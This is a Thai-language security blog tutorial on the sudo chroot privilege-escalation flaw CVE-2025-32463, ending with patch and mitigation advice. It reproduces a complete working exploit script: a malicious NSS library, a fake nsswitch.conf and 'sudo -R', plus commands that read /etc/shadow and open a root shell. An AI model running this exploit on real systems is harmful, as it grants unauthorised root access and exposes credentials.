CVE-2025–32463 Sudo chroot Elevation of Privilege

โดย admin

3 นาที
แชร์
Blog Thumbnail

CVE-2025–32463 Sudo chroot Elevation of Privilege

สวัสดีครับ พี่ ๆ น้อง ๆ ที่เข้ามาอ่านบทความนี้กันนะครับ วันนี้เราจะมาเล่าถึงเรื่องของช่องโหว่ CVE-2025–32463 Sudo chroot Elevation of Privilege โดยเดี๋ยวเราจะมาอธิบายว่าช่องโหว่ทำงานอย่างไร และสามารถนำมาใช้ได้อย่างไรบ้าง

ก่อนอื่นเลยผมขออธิบายสั้นๆก่อนที่จะลงรายละเอียดกันว่าช่องโหว่ CVE-2025–32463 Sudo chroot Elevation of Privilege คืออะไร ช่องโหว่ CVE-2025–32463 คือช่องโหว่ที่เราจะใช้งาน Sudo -R หรือ — chroot ในการกำหนด Root directory ก่อนที่รันคำสั่งต่างๆ ซึ่งผู้โจมตีสามารถสร้างไฟล์ /etc/nsswitch.conf ปลอมภายในไดเรกทอรี chroot ที่กำหนดไว้ได้ หากระบบรองรับรูปแบบดังกล่าว Sudo อาจถูกหลอกให้โหลด Library ที่เป็นอันตราย ส่งผลให้ผู้โจมตีสามารถยกระดับสิทธิ์เป็น Root ได้ ช่องโหว่นี้ส่งผลกระทบต่อ Sudo เวอร์ชัน 1.9.14 ถึง 1.9.17 ส่วนเวอร์ชันเก่าไม่ได้รับผลกระทบ เนื่องจากยังไม่มีการรองรับตัวเลือก chroot

Sudo คืออะไร Sudo ย่อมาจาก “superuser do” เป็นคำสั่งบนระบบ Unix / Linux / macOS ที่ใช้ให้ผู้ใช้ทั่วไปสามารถรันคำสั่ง ด้วยสิทธิ์ root หรือสิทธิ์ผู้ใช้คนอื่น โดยไม่ต้องเข้าสู่บัญชี root โดยตรง พูดง่าย ๆ:

  • ผู้ใช้ปกติ → ใช้ sudo → รันคำสั่งที่ต้องสิทธิ์สูง
  • ระบบจะถามรหัสผ่านผู้ใช้ (หรือบางครั้งไม่ต้องถาม ขึ้นอยู่กับการตั้งค่าใน sudoers)

ซึ่งการหาช่องโหว่ผ่าน Sudo -l หรือเวอร์ชันของ Sudo ก็จะเป็นสิ่งแรกๆที่เหล่าแฮกเกอร์ตรวจสอบเมื่อเข้าถึงเครื่องเป้าหมายและต้องการจะยกสิทธิ์ของ User ที่ได้

ต่อมาเดี๋ยวเราจะมาดู PoC ของช่องโหว่ CVE-2025–32463 และอธิบายการทำงานของช่องโหว่นี้กันครับ โดยเราจะใช้ https://github.com/pr0v3rbs/CVE-2025-32463_chwoot มาเพื่อทำการ PoC กันครับ

เริ่มจากสร้าง Environment โดยทำการเราจะทำตาม Github ที่อ้างอิงก่อนหน้าและเราก็จะมาลองเช็คเวอร์ชันของ Sudo โดยใช้คำสั่ง

sudo -V

และตรวจสอบสิทธิ์ของเราโดยใช้คำสั่ง

id

จากนั้นเรามาลองใช้คำสั่ง Sudo -R กันครับ โดยเราจะลองใส่ Path ที่ไม่มีอยู่จริงเข้าไปก่อน

sudo -R test test

เราก็จะพบว่ามีการเปิดใช้งานฟังก์ชัน chroot ไว้ จากนั้นเรามาลองวิเคราะห์โค้ดที่ใช้ในการโจมตีช่องโหว่ CVE-2025–32463 ก่อนที่จะใช้งานกันครับ

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

เริ่มจากในส่วนแรกจะเป็นการสร้างโฟลเดอร์ temp โดยทำการสุ่มชื่อ เช่น /tmp/sudowoot.stage.abcd12 ที่เราสร้างใน Path ของ /tmp ก็เพราะว่าเป็น Path ที่แม้ว่าเราจะสิทธิ์ต่ำแค่ไหนก็ยังสามารถมาเขียนไฟล์ใน /tmp ได้

if [ $# -eq 0 ]; then
CMD=“/bin/bash”
else
CMD=”$@“
fi

ในส่วนถัดมาจะเป็นการรับค่า Argument โดยถ้าไม่มีการใส่คำสั่งเข้ามาก็จะทำการเปิด Shell /bin/bash เป็น Root แต่หากมีการใส่คำสั่งเข้ามาก็ให้ทำการรันคำสั่งนั้นแทน

CMD_C_ESCAPED=$(printf ‘%s’ “$CMD” | sed -e ‘s/\/\\/g’ -e ‘s/”/\”/g’)

ในส่วนนี้จะเป็นการ Escape คำสั่ง เพื่อฝังลงไปในซอร์สโค้ด C ได้อย่างปลอดภัย โดยจะป้องกัน \ หรือ “ พังโค้ด

cat > woot1337.c<<EOF#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir(”/”);
execl(“/bin/sh”, “sh”, “-c”, ”${CMD_C_ESCAPED}”, NULL);
}
EOF

ในจุดนี้คือ Payload ที่ให้สิทธิ์ Root โดยสร้างไฟล์ C ชื่อ woot1337.c มีโค้ด exploit:

  • __attribute__((constructor)) → ฟังก์ชัน woot() จะถูกรัน อัตโนมัติเมื่อโหลด Shared library (ก่อน main())
  • setreuid(0,0) และ setregid(0,0) → เปลี่ยน UID/GID เป็น Root
  • chdir(“/”) → เปลี่ยน Working directory เป็น Root dir
  • execl(“/bin/sh”, “sh”, “-c”, “…”) → สั่งรัน Shell หรือคำสั่งที่ผู้ใช้กำหนด

mkdir -p woot/etc libnss_
echo “passwd: /woot1337” > woot/etc/nsswitch.conf
cp /etc/group woot/etc

ต่อมาสร้าง Fake root filesystem (woot/) พร้อมไฟล์ Config

  • libnss_ → สำหรับ Library ปลอมที่จะถูกโหลด
  • woot/etc/nsswitch.conf → เปลี่ยน Config Name Service Switch (NSS) ให้ passwd ไปใช้ “/woot1337” → Trick sudo ให้โหลด Libnss ของเราก่อน
  • Copy /etc/group เพื่อเลียนแบบ Environment ปกติ

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

ทำการคอมไพล์ไฟล์ C เป็น shared library .so ในส่วนนี้คือ malicious NSS library

  • shared -fPIC → ให้สร้างเป็น Shared object
  • Wl,-init,woot → บังคับให้ฟังก์ชัน woot() รันตอนโหลด lib
  • output: libnss_/woot1337.so.2

echo “woot!”
sudo -R woot woot

แสดงข้อความ “woot!” และใช้ sudo -R woot woot

  • -R = แก้ไขค่า Restricted path สำหรับ NSS lookup (ฟีเจอร์ของ sudo)
  • ทำให้ sudo โหลด libnss_/woot1337.so.2 (ที่เราปลอมขึ้น) แทน system lib ปกติ
  • ผล: sudo รันฟังก์ชัน woot() จาก lib → เปลี่ยนสิทธิ์เป็น Root → เปิด Shell/รันคำสั่ง

rm -rf ${STAGE?}

ลบ Directory ชั่วคราวทั้งหมด โดยจะเป็นการ Clean up

จากนั้นเรามาลองใช้ Script ที่เราอธิบายมาก่อนหน้ากันเลย ในส่วนแรกเราก็มาลองให้รันที่ละคำสั่งกันโดยใช้คำสั่ง

./sudo-chwoot.sh id
./sudo-chwoot.sh cat /etc/shadow

และต่อมาเราก็มาลองใช้แบบเปิด Shell ที่มีสิทธิ์เป็น Root เพื่อที่เราจะสามารถใช้ในการโจมตีเครื่องต่อไปได้เลย โดยที่เราจะรันแค่

./sudo-chwoot.sh

เพียงเท่านี้เราก็จะสามารถยกสิทธิ์ตัวเองจากที่มีสิทธิ์ต่ำมาเป็นสิทธิ์ Root ได้อย่างง่ายดาย

วิธีแก้ไขช่องโหว่ CVE-2025–32463 ก็คือการอัปเดตเวอร์ชัน Sudo ให้เป็นเวอร์ชัน 1.9.17p1 ขึ้นไป และทำการ Disable chroot หากไม่ได้มีการใช้งาน หรือหากจำเป็นต้องใช้ chroot จริง ๆ ควรให้ chroot Directory เป็นของ Root และไม่ Writable โดยผู้ใช้ทั่วไป

ก่อนจากกันก็ขอสรุปบทความนี้กันสักหน่อยนะครับ สำหรับ CVE-2025–32463 Sudo chroot Elevation of Privilege ก็เป็นช่องโหว่ของ Sudo เวอร์ชัน 1.9.14 ถึง 1.9.17 โดยจะใช้ Sudo -R เพื่อทำการยกสิทธิ์ตัวเองจากสิทธิ์ต่ำให้เป็นสิทธิ์ Root และวิธีการแก้ไขก็คือการอัปเดตให้เป็นเวอร์ชัน 1.9.17p1 ขึ้นไป

แถม ๆ ให้อีกนิดนึงหากเราอัปเดต Sudo ให้เป็นเวอร์ชัน 1.9.17p1 ก็จะเป็นการปิดช่องโหว่ CVE-2025–32462 ไปด้วยซึ่งก็จะเป็นช่องโหว่เกี่ยวกับการ Privilege escalation อีกเหมือนกันโดยจะเป็นการใช้ Sudo -h ที่ทำให้ผู้ใช้สามารถปลอมแปลงค่า Hostname ที่ใช้ใน /etc/sudoers สำหรับการควบคุมสิทธิ์การเข้าถึงได้ ส่งผลให้ระบบนำสิทธิ์ของ Hostname ที่ถูกปลอมแปลงมาใช้ แทนที่จะเป็นสิทธิ์ของเครื่องจริงได้ สุดท้ายนี้ก็ขอขอบคุณทุกท่านที่เข้ามาอ่านกันด้วยนะครับ หากมีข้อผิดพลาดประการใดก็ขออภัยมา ณ ที่นี้ด้วยครับ ขอบคุณครับ

แชร์
กลับไปด้านบน

บทความที่เกี่ยวข้อง

อัปเดตข้อมูลด้านไซเบอร์ ทุกสัปดาห์
รับข่าวสารความรู้เชิงลึกเกี่ยวกับความปลอดภัยไซเบอร์จากดาต้าฟาร์มก่อนใคร

ฟีเจอร์นี้จะเปิดให้ใช้งานเร็ว ๆ นี้ โปรดติดตาม

ส่งสัปดาห์ละ 1 ครั้ง ไม่มีสแปม ยกเลิกการรับข่าวสารได้ทุกเมื่อ